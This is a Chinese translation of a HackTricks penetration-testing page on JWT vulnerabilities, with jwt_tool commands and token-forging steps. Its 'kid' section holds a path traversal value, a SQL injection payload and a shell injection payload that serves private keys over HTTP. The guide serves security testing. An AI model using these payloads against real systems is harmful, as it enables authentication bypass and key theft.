# JWT漏洞(Json Web Tokens)
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
如果您对**黑客职业**感兴趣并想要黑入不可黑入的系统 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
{% embed url="https://www.stmcyber.com/careers" %}
**本文的部分内容基于这篇精彩的文章:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**这个用于渗透测试JWT的强大工具的作者** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **快速成功**
运行[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool),选择`All Tests!`模式并等待出现绿色行。
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG..."
```
如果你很幸运,该工具会发现一些情况,即 Web 应用程序未正确检查 JWT:
![](<../.gitbook/assets/image (435).png>)
然后,你可以在代理中搜索该请求,或使用 jwt\_ tool 转储用于该请求的 JWT:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### 在不修改任何内容的情况下篡改数据
您可以仅篡改数据而保留签名,然后检查服务器是否正在验证签名。尝试将用户名更改为"admin"。
#### **令牌是否被验证?**
要检查JWT签名是否正在验证:
* 错误消息表明正在进行验证;应仔细查看详细错误中的敏感信息。
* 返回页面的变化也表明正在验证。
* 没有变化表明没有验证;这时可以尝试篡改有效负载声明。
### 来源
通过检查代理的请求历史记录,确定令牌是在服务器端生成还是在客户端生成。
* 首次从客户端看到的令牌表明密钥可能暴露给了客户端代码,需要进一步调查。
* 从服务器端生成的令牌表明是一个安全的过程。
### 时长
检查令牌是否持续超过24小时...也许它永不过期。如果有一个"exp"字段,请检查服务器是否正确处理它。
### 暴力破解HMAC密钥
[**查看此页面。**](../generic-methodologies-and-resources/brute-force.md#jwt)
### 将算法修改为None (CVE-2015-9235)
将使用的算法设置为"None"并移除签名部分。
使用Burp扩展程序调用"JSON Web Token"来尝试此漏洞,并更改JWT中的不同值(将请求发送到Repeater,在"JSON Web Token"选项卡中可以修改令牌的值。您还可以选择将"Alg"字段的值设置为"None")。
### 将算法从RS256(非对称)更改为HS256(对称)(CVE-2016-5431/CVE-2016-10555)
算法HS256使用密钥来签名和验证每条消息。\
算法RS256使用私钥对消息进行签名,并使用公钥进行身份验证。
如果将算法从RS256更改为HS256,后端代码将使用公钥作为密钥,然后使用HS256算法来验证签名。
然后,使用公钥并将RS256更改为HS256,我们可以创建一个有效的签名。您可以检索执行此操作的Web服务器的证书:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### 头部中的新公钥
攻击者在令牌的头部嵌入一个新密钥,服务器使用这个新密钥来验证签名(CVE-2018-0114)。
这可以通过"JSON Web Tokens" Burp扩展完成。\
(将请求发送到Repeater,在JSON Web Token选项卡中选择"CVE-2018-0114",然后发送请求)。
### JWKS欺骗
说明详细介绍了一种评估JWT令牌安全性的方法,特别是那些使用"jku"头声明的令牌。该声明应链接到一个包含令牌验证所需的公钥的JWKS(JSON Web Key Set)文件。
* **评估具有"jku"头的令牌**:
* 验证"jku"声明的URL,确保它指向适当的JWKS文件。
* 修改令牌的"jku"值,指向一个受控的Web服务,以允许流量观察。
* **监视HTTP交互**:
* 观察到对您指定URL的HTTP请求表明服务器尝试从您提供的链接获取密钥。
* 在执行此过程时使用`jwt_tool`,关键是要更新`jwtconf.ini`文件,将您个人的JWKS位置加入以便进行测试。
* **`jwt_tool`的命令**:
* 执行以下命令,使用`jwt_tool`模拟场景:
```bash
python3 jwt_tool.py JWT_HERE -X s
```
### Kid问题概述
一个可选的头声明称为`kid`用于标识特定密钥,在存在多个密钥用于令牌签名验证的环境中尤为重要。该声明有助于选择适当的密钥来验证令牌的签名。
#### 通过"kid"揭示密钥
当头部中存在`kid`声明时,建议搜索相应文件或其变体的Web目录。例如,如果指定了`"kid":"key/12345"`,则应在Web根目录中搜索文件_/key/12345_和_/key/12345.pem_。
#### 使用"kid"进行路径遍历
`kid`声明也可能被利用来浏览文件系统,潜在地允许选择任意文件。可以通过将`kid`值更改为目标特定文件或服务来测试连通性或执行服务器端请求伪造(SSRF)攻击。通过在jwt_tool中使用`-T`标志来篡改JWT以更改`kid`值同时保留原始签名,如下所示:
```bash
python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
通过针对具有可预测内容的文件,可以伪造有效的JWT。例如,在Linux系统中,已知包含值**2**的`/proc/sys/kernel/randomize_va_space`文件可以在`kid`参数中使用**2**作为对称密码用于JWT生成。
#### 通过"kid"进行SQL注入
如果`kid`声明的内容用于从数据库中获取密码,则可以通过修改`kid`负载来实现SQL注入。一个使用SQL注入修改JWT签名过程的示例负载包括:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
此修改强制使用已知的秘密密钥`ATTACKER`进行JWT签名。
#### 通过"kid"进行OS注入
当`kid`参数指定在命令执行上下文中使用的文件路径时,可能会导致远程代码执行(RCE)漏洞。通过将命令注入`kid`参数,可以暴露私钥。实现RCE和密钥暴露的示例负载如下:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u和jku
#### jku
jku代表**JWK Set URL**。\
如果令牌使用“**jku**” **Header**声明,则**检查提供的URL**。这应该指向包含用于验证令牌的公钥的JWKS文件的URL。篡改令牌以将jku值指向您可以监视流量的Web服务。
首先,您需要使用新的私钥和公钥创建新证书。
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
然后,您可以使用例如[**jwt.io**](https://jwt.io)来使用**创建的公钥和私钥,并将参数jku指向创建的证书**来创建新的JWT。为了创建有效的jku证书,您可以下载原始证书并更改所需的参数。
您可以从公钥证书中获取参数"e"和"n":
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
#### x5u
X.509 URL。指向一组以PEM格式编码的X.509(证书格式标准)公共证书的URI。该组中的第一个证书必须是用于签署此JWT的证书。随后的每个证书都会签署前一个证书,从而完成证书链。X.509在RFC 52807中定义。需要传输安全性来传输证书。
尝试**将此标头更改为您控制的URL**并检查是否收到任何请求。在这种情况下,您**可以篡改JWT**。
要使用由您控制的证书伪造新令牌,您需要创建证书并提取公钥和私钥:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
然后,您可以使用例如 [**jwt.io**](https://jwt.io) 来使用**创建的公钥和私钥,并将参数 x5u 指向创建的 .crt 证书**来创建新的 JWT。
![](<../.gitbook/assets/image (439).png>)
您还可以滥用这两个漏洞**用于 SSRF 攻击**。
#### x5c
此参数可能包含**以 base64 编码的证书**:
![](<../.gitbook/assets/image (440).png>)
如果攻击者**生成自签名证书**,并使用相应的私钥创建伪造令牌,然后将 "x5c" 参数的值替换为新生成的证书,并修改其他参数,即 n、e 和 x5t,那么伪造的令牌基本上将被服务器接受。
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### 嵌入式公钥 (CVE-2018-0114)
如果 JWT 嵌入了公钥,就像以下情况一样:
![](<../.gitbook/assets/image (438).png>)
使用以下 nodejs 脚本可以从该数据生成公钥:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
可以生成新的私钥/公钥,将新的公钥嵌入令牌中,并使用它生成新的签名:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
您可以使用以下的 Node.js 脚本获取 "n" 和 "e":
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
最后,使用公钥和私钥以及新的“n”和“e”值,您可以使用[jwt.io](https://jwt.io)伪造一个带有任何信息的新有效JWT。
### JTI (JWT ID)
JTI(JWT ID)声明为JWT令牌提供了一个唯一标识符。它可用于防止令牌被重放。\
然而,想象一种情况,ID的最大长度为4(0001-9999)。请求0001和10001将使用相同的ID。因此,如果后端在每个请求中递增ID,您可以滥用此功能来**重放请求**(需要在每次成功重放之间发送10000个请求)。
### JWT注册声明
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### 其他攻击
**跨服务中继攻击**
已经观察到一些Web应用程序依赖于受信任的JWT服务来生成和管理它们的令牌。已记录到一种情况,即JWT服务为一个客户端生成的令牌被同一JWT服务的另一个客户端接受。如果观察到通过第三方服务发出或更新JWT,则应调查使用相同用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求目标时重放获得的令牌,以查看是否被接受。
* 令牌被接受可能表示存在严重问题,可能允许欺骗任何用户的帐户。但是,应注意,如果在第三方应用程序上注册,可能需要更广泛的测试权限,因为这可能涉及法律灰色地带。
**令牌到期检查**
使用“exp”有效载荷声明检查令牌的到期时间。鉴于JWT经常在没有会话信息的情况下使用,需要谨慎处理。在许多情况下,捕获并重放另一个用户的JWT可能会使该用户被冒充。JWT RFC建议通过利用“exp”声明为令牌设置到期时间来减轻JWT重放攻击。此外,应用程序实施相关检查以确保处理此值并拒绝过期令牌的处理至关重要。如果令牌包含“exp”声明并且测试时间允许,建议在过期时间过去后存储令牌并重放它。可以使用jwt_tool的-R标志读取令牌的内容,包括时间戳解析和到期检查(时间戳为UTC时间)。
* 如果应用程序仍然验证令牌,则可能存在安全风险,因为这可能意味着令牌永远不会过期。
### 工具
{% embed url="https://github.com/ticarpi/jwt_tool" %}
如果您对**黑客职业**感兴趣并想黑掉无法黑掉的 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
{% embed url="https://www.stmcyber.com/careers" %}
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。